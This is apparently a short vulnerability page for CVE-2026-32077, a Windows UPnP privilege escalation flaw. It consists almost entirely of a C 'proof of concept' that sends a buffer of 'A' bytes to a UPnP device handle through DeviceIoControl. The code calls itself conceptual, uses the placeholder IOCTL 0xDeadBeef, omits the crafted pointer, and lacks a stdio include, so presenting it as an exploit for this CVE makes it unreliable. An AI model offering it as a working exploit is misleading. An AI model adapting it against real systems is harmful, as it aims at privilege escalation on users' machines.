CVE-2026-32077 Windows UPnP权限提升漏洞

#include <windows.h> // Proof of Concept for Untrusted Pointer Dereference // This is a conceptual example to demonstrate the vulnerability type. int main() { HANDLE hDevice = CreateFileA("\\\\.\\UPnPDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } // Craft malicious input to trigger the untrusted pointer dereference BYTE buffer[0x100]; memset(buffer, 0x41, sizeof(buffer)); // Fill with 'A' // In a real scenario, specific offset would contain a crafted pointer DWORD bytesReturned; BOOL result = DeviceIoControl(hDevice, 0xDeadBeef, // IOCTL code would be specific to the vulnerability buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); if (!result) { printf("IOCTL failed. Error: %d\n", GetLastError()); } else { printf("IOCTL succeeded. Potential crash or exploitation triggered.\n"); } CloseHandle(hDevice); return 0; }